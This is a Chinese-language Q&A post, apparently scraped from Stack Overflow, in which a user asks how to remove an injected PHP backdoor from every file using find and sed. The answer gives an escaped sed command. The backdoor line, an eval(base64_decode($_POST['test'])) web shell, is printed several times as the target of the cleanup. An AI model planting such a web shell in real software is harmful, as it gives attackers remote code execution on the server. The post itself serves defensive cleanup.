Bash 查找并替换文件中的PHP代码
我有以下字符串被注入到每个Bash 查找并替换文件中的PHP代码,bash,shell,scripting,Bash,Shell,Scripting,我有以下字符串被注入到每个 if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();} 如何删除它 我正在尝试以下几点,但运气不太好: find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_
if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}
如何删除它
我正在尝试以下几点,但运气不太好:
find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;
字符串包含许多在正则表达式中具有特殊含义的字符(例如,
$(){}[]
)。要使sed
正常工作,您需要将它们全部转义。您还需要使用'\''
对正则表达式参数使用$'
语法,并在其中转义定界,$
和[
:
find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;